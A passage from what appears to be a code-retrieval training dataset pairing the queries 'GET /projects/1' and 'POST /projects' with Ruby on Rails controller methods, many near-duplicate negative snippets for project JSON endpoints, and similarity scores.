"0.76947564",
"0.76947564",
"0.76947564",
"0.76947564",
"0.7694658",
"0.7676147",
"0.7658882",
"0.76405436",
"0.7627118",
"0.7614984",
"0.76001924",
"0.76001155",
"0.75980866",
"0.75511956",
"0.7548094",
"0.7504063",
"0.7464194",
"0.74627525",
"0.7451903",
"0.7440487",
"0.7426745",
"0.7411369",
"0.74083346",
"0.7407435",
"0.7394844",
"0.7315066",
"0.7289134",
"0.728757",
"0.7277806",
"0.7258908",
"0.7258761",
"0.724392",
"0.724239",
"0.7232414",
"0.72239715",
"0.72185606",
"0.71949095",
"0.7186648",
"0.7170556",
"0.71687",
"0.7168631",
"0.71653986",
"0.71607035",
"0.71401507",
"0.7130367",
"0.7128368",
"0.7125576",
"0.71240586",
"0.7119196",
"0.71146995",
"0.7114618",
"0.710805",
"0.71000516",
"0.70983803",
"0.70910007",
"0.7071881",
"0.70519775",
"0.7049741",
"0.7049259",
"0.70423055",
"0.70386356",
"0.70350367",
"0.7033508",
"0.7032564",
"0.7032564",
"0.7032564",
"0.7032564",
"0.7032564",
"0.7032564",
"0.7032564",
"0.7032564",
"0.7027258",
"0.70269984",
"0.70227426",
"0.7013134",
"0.7007366",
"0.70046765",
"0.7004406",
"0.7003188",
"0.7001347"
] | 0.0 | -1 |
GET /projects/1 GET /projects/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list\n get 'projects'\n end",
"def listprojects\n get('listprojects.json')['projects']\n end",
"def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def projects\n resource 'projects'\n end",
"def index\n @projects = Project.all\n render json: @projects, status: :ok\n end",
"def index\n @projects = Project.all\n render json: @projects\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @user = User.find_by(id: params[:user_id])\n @project = @user.projects\n if @project \n render :json => @project\n else\n render :json => 422\n end\n end",
"def projects\n request(method: 'getAllProjects')\n end",
"def project(project_id, params = {})\n make_get_request(\"/projects/#{project_id}\", params)\n end",
"def index\n @projects = Project.visible\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end",
"def show\n render json: Project.where(id: params.fetch(:id))\n end",
"def show \n project= Project.find(params[:id])\n\n render json: project\n end",
"def index\n @projects = Project.all_for_user(current_user.id)\n render json: @projects.to_json(include: :project_detail), status: 200\n end",
"def project(project_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end",
"def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def project(project_id, query_params = nil)\n get(\"/projects/#{project_id}\", query_params)\n end",
"def project(project_id)\n resource \"projects/#{project_id}\"\n end",
"def index\n @projects = Project.all\n render json: @projects, layout: false\n end",
"def getProjectID()\n result = RestClient.get GITHUB_API + PROJECTS_PATH, :accept => 'application/vnd.github.inertia-preview+json', :'Authorization' => 'token ' + CONFIG['OAUTH']\n result = JSON.parse(result) \n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def get\n CircleCi.request(conf, '/projects').get\n end",
"def index\n # @projects = @current_user.projects\n @projects = Project.all\n json_response(@projects)\n end",
"def projects\n records \"project\", \"/project/list\"\n end",
"def projects\n Sifter.\n get(\"/api/projects\").\n parsed_response[\"projects\"].\n map { |p| Sifter::Project.new(p) }\n end",
"def index \n\n @projects = Project.all\n respond_to do |format|\n format.html {render :template => \"projects/index\"}\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = current_user.projects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n \n @workspaces = current_user.workspaces\n # debugger\n @projects = Project.where(:workspace_id => @workspace)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @project }\n end\n end",
"def show\n render json: @project\n end",
"def show\n repo = ProjectRepo.new current_user\n @v_project = repo.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @v_project }\n end\n end",
"def find_project(name)\n get(\"/projects/#{name}\")\n end",
"def find_project(name)\n get(\"/projects/#{name}\")\n end",
"def show\n @project = Project.find_by(id: params[:id])\n if @project\n render :json => @project\n else\n render :json => 422\n end\n end",
"def projects(params = {})\n make_get_request('/account/projects', params)\n end",
"def project\n request :project\n end",
"def project\n return forbidden unless current_account and params[:id] and (request.format.json? || request.format.js? || request.format.text?)\n project = Project.accessible(current_account).find(params[:id].to_i)\n return not_found unless project\n opts = { :include_document_ids => params[:include_document_ids] != 'false' }\n @response = {'project' => project.canonical(opts)}\n render_cross_origin_json\n end",
"def show \n render :json => Project.find_by_id(params[:id])\n end",
"def show\n @ourproject = Ourproject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ourproject }\n end\n end",
"def get_project(project_id)\n http = Net::HTTP.new(@city_db_url, @port)\n http.read_timeout = 1000\n if @city_db_is_https\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n request = Net::HTTP::Get.new(\"/projects/#{project_id}.json\")\n request.add_field('Content-Type', 'application/json')\n request.add_field('Accept', 'application/json')\n request.basic_auth(ENV['URBANOPT_USERNAME'], ENV['URBANOPT_PASSWORD'])\n\n response = http.request(request)\n if response.code != '200' # success\n @runner.registerError(\"Bad response #{response.code}\")\n @runner.registerError(response.body)\n @result = false\n return {}\n end\n\n result = JSON.parse(response.body, symbolize_names: true)\n return result\n end",
"def index\n @projects = Project.with_permissions_to(:read)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n @projectresource = Projectresource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projectresource }\n end\n end",
"def index\n @projects = Project.where user: current_user\n render json: @projects, each_serializer: Projects::IndexSerializer\n end",
"def show \n respond_to do |format|\n format.json {\n\n @project = Project.find_by_id(params[:id])\n\n if @project\n render :json => @project\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @current_project = CurrentProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @current_project }\n end\n end",
"def show\n respond_with(@project) do |format|\n format.json { render json: @project.as_json }\n format.html\n end\n end",
"def show\n @show_project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @show_project }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n respond_with @project do |format|\n format.json do\n render json: @project.as_json.merge(\n commits_url: project_commits_url(@project, format: 'json'),\n commits: @project.commits.order('committed_at DESC').limit(10).map { |commit|\n commit.as_json.merge(\n percent_done: commit.fraction_done.nan? ? 0.0 : commit.fraction_done*100,\n translations_done: commit.translations_done,\n translations_total: commit.translations_total,\n strings_total: commit.strings_total,\n import_url: import_project_commit_url(@project, commit, format: 'json'),\n sync_url: sync_project_commit_url(@project, commit, format: 'json'),\n url: project_commit_url(@project, commit),\n status_url: project_commit_url(@project, commit),\n )\n }\n )\n end\n end\n end",
"def show\n # turn ruby database into json\n # route to the project 3 page with this json\n # id = 1\n end",
"def show\n\n render json: Project.all\n\n end",
"def projects(params = {})\n fetch_all('projects', 'projects', params)\n end",
"def index\n @about_projects = AboutProject.last(1)\n\n respond_to do |format|\n format.json {render json: @about_projects[0], :only => [:description]}\n end\n end",
"def show\n set_surrogate_key_header \"api/platforms/#{@platform.id}/projects\"\n set_cache_control_headers 3600\n end",
"def show\n @projects = find_projects\n end",
"def get_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'GetProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def show_by_gitpath\n @project = Project.includes(:users).includes(:technos).find_by_gitpath(params[:gitpath])\n\n respond_to do |format|\n format.json { render json: @project, status: 200 }\n end\n end",
"def project\n @client.project(:id => project_id)\n end",
"def list_projects\n handle_action_exceptions(__method__) do\n cmd_line = ['listprojects']\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end",
"def projects\n return forbidden unless current_account # already returns a 401 if credentials aren't supplied\n opts = { :include_document_ids => params[:include_document_ids] != 'false' }\n @response = {'projects' => Project.accessible(current_account).map {|p| p.canonical(opts) } }\n render_cross_origin_json\n end",
"def get_projects_of_user\n respond_to do |format|\n format.json {\n #param = params[:payload]\n #@user = User.find_by_id(param[:id])\n @projects = Project.where(:user_id => @current_user.id)\n if @projects\n render :json => @projects\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def get\n render json: Project.select(:id, \"name as label\")\n end",
"def index\n @projects = Project.includes(:user).all\n respond_with(@projects) do |format|\n format.json { render :json => {:list => @projects.as_json, :current_user => current_user.as_json} }\n format.html\n end\n end",
"def details\n get(\"project/details\")[\"project\"]\n end",
"def show\n @unfinished_project = UnfinishedProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unfinished_project }\n end\n end",
"def show\n @workspaces = current_user.workspaces\n @project = Project.find(params[:id])\n @workspace = Workspace.find(params[:workspace_id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n @user = User.find_by_id(session[:userid])\n @projects = current_user_projects\n respond_to do |format|\n format.html # index.html.erb\n format.json\n end\n end",
"def get(project_name)\n response = get_request(\"/projects/#{project_name}/\")\n TheShiningSource::Project.new(response)\n end",
"def show_project\r\n @project = Project.find(params[:id])\r\n @id = @project.id\r\n respond_to do |format|\r\n format.html { render 'project_control/view' }\r\n format.json { render json: @project }\r\n end\r\n end",
"def getProject(project)\r\n\t\t\t\tproject_json = JSON.parse project\r\n\t\t\t\tproject_array = project_json[\"projects\"]\r\n\t\t\t\treturn jsonToProject(project_array[0])\r\n\t\t\tend",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects }\n #format.json { render json: @project.as_json(:include => [:client, :project_participants] ) }\n end\n end",
"def index\n if signed_in?\n @projects = current_user.projects\n respond_to do |format|\n format.html { render 'projects/index' }\n format.json { render template: 'projects/index.json.jbuilder' }\n end\n else\n redirect_to :projects\n end\n end",
"def index\n @projects = @projects.includes(:latest_iteration).where(:tenant_id => current_user.tenant).order(\"name\").page(params[:page]).per(DEFAULT_ROWS_PER_PAGE)\n\n respond_with @projects\n end",
"def show\n respond_to do |format|\n format.html {render :show}\n format.json {render json: @project}\n end\n end",
"def show\n @project = Project.find(params[:id])\n\t@user = User.find(@project.user_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def find(project_id)\n raw_response = get_request(\"projects/#{project_id}\")\n parse_response(raw_response, :project)\n end"
] | [
"0.7868971",
"0.76979554",
"0.7680216",
"0.7611453",
"0.75334454",
"0.75258976",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74924207",
"0.7484109",
"0.7479275",
"0.7444873",
"0.74294627",
"0.74224764",
"0.7414947",
"0.7385035",
"0.7380203",
"0.7379937",
"0.7375317",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.73572785",
"0.7352506",
"0.73521084",
"0.73436445",
"0.73410857",
"0.73250616",
"0.7303016",
"0.72884965",
"0.72734356",
"0.72727096",
"0.72536707",
"0.7251402",
"0.72502863",
"0.72433484",
"0.7241812",
"0.7228012",
"0.7228012",
"0.7213682",
"0.7210143",
"0.72031206",
"0.71956533",
"0.7184686",
"0.71557546",
"0.71509594",
"0.71480834",
"0.7120158",
"0.71123755",
"0.7106823",
"0.70865124",
"0.7084294",
"0.7079523",
"0.705198",
"0.70506",
"0.7044681",
"0.70423746",
"0.70259416",
"0.70248544",
"0.70047486",
"0.70040953",
"0.70025414",
"0.7000689",
"0.6987457",
"0.6984701",
"0.69802356",
"0.6979858",
"0.69780463",
"0.69780076",
"0.6970507",
"0.6966368",
"0.69646454",
"0.69622666",
"0.6961776",
"0.6961545",
"0.69614834",
"0.69565344",
"0.6943089",
"0.6936655",
"0.69335127",
"0.69173217",
"0.69125015",
"0.6909762",
"0.69050795"
] | 0.0 | -1 |
POST /projects POST /projects.json | def create
@project = Project.new(project_params)
@project.owner = current_user unless @project.owner
if @project.save
render :show, status: :created, location: @project
else
render json: @project.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render :json => @project, :status => :created, :location => @project }\n format.html { redirect_to(projects_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_project(name)\n post('projects', {:name => name})[\"project\"]\n end",
"def create\n @project = Project.new(project_params)\n\n if @project.save\n render json: @project, status: 200\n else\n render json: { errors: @project.errors.messages }, status: 200\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if @project.save\n render json: @project, status: :created\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def create\n @urlroot = Designax::Application.config.urlroot\n if params[:pk] == \"new\" and params[:name] == \"project_name\"\n project_name = params[:value]\n @project = Project.new()\n @project.project_name = project_name\n else\n @project = Project.new(params[:project])\n end\n\n respond_to do |format|\n if @project.save\n redirect_url = @urlroot + \"/projects\"\n response_url = { \"url\" => redirect_url }\n format.json { render json: response_url, status: 200 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project] || JSON.parse(request.body.read))\n\n if (params[:id])\n @project.id = params[:id]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n format.json { render :json => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n format.json { render :text => \"error creating project via http/json\" }\n end\n end\n end",
"def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"def create\n\t\t@project = current_user.projects.new(project_params)\n\n\t\trespond_to do |format|\n\t\t\tif @project.save\n\t\t\t\tformat.json { render :show, status: :created }\n\t\t\telse\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @projects = current_user.projects\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @projects << @project\n format.html { redirect_to user_projects_path(current_user), notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render json: @project, status: :created, location: @project }\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @project = current_user.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(attributes={})\n raw_response = post_request('projects', project: attributes)\n parse_response(raw_response, :project)\n end",
"def create\n #byebug\n @project = Project.new(create_params)\n @project.user_id = @current_user.id\n @project.save\n #@project = Project.create(name_project: \"prueba\", subsidy: true, parking: true, user_id: @current_user.id)\n #byebug\n render json: @project, status: :created\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.json { render :json => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n if @project.save\n render json: @project, status: :ok\n else\n render json: {error: @project.errors.full_messages.to_sentence } , status: :unprocessable_entity\n end\n end",
"def create\n @user = current_user\n @project = @user.projects.build(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html {redirect_to \"/projects\", notice: \"Project was successfully created.\"}\n format.json {render :show, status: :created, location: @project}\n else\n format.html {render :new, status: :unprocessable_entity}\n format.json {render json: @project.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: \"Project was successfully created.\" }\n User.find(current_user.id).projects << Project.find(@project.id)\n @projects_user = ProjectsUser.find_by(user_id: current_user.id, project_id: @project.id)\n format.json { render :show, status: :created, location: @project }\n\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: t('models.project.create') }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_project = Project.new(api_project_params)\n\n respond_to do |format|\n if @api_project.save\n format.html { redirect_to @api_project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @api_project }\n else\n format.html { render :new }\n format.json { render json: @api_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: \"Project was successfully created.\" }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = @client.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @client, notice: 'Project was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.json { render json: @project, status: 200 }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.user_id = @user.id\n if @project.save\n render json: {status: :success, project: @project}\n else\n render json: {status: :failed, project: @project}\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render action: 'show', status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if project.save\n format.html { redirect_to project, notice: 'Project was successfully created.' }\n format.json { render json: project, status: ':created', location: project }\n else\n format.html { render action: 'new' }\n format.json { render json: project.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.new(project_params)\n if @project.save\n render :show\n else\n render json: { errors: @project.errors }\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to admin_projects_url, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, flash: {success: 'Project was successfully created.'} }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # authenticate_user!\n @project = Project.new\n @project[:category] = params[:category]\n @project[:title] = params[:title]\n @project[:body] = params[:body]\n @project[:location] = params[:location]\n @project[:image_link] = params[:image_link]\n @project[:project_url] = params[:project_url]\n @project[:year] = params[:year]\n @project[:likes] = params[:likes]\n @project.save\n\n render json: @project\n end",
"def create\n @project = Project.new(project_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @project.save\n format.json { render :show, status: :created, location: @project }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
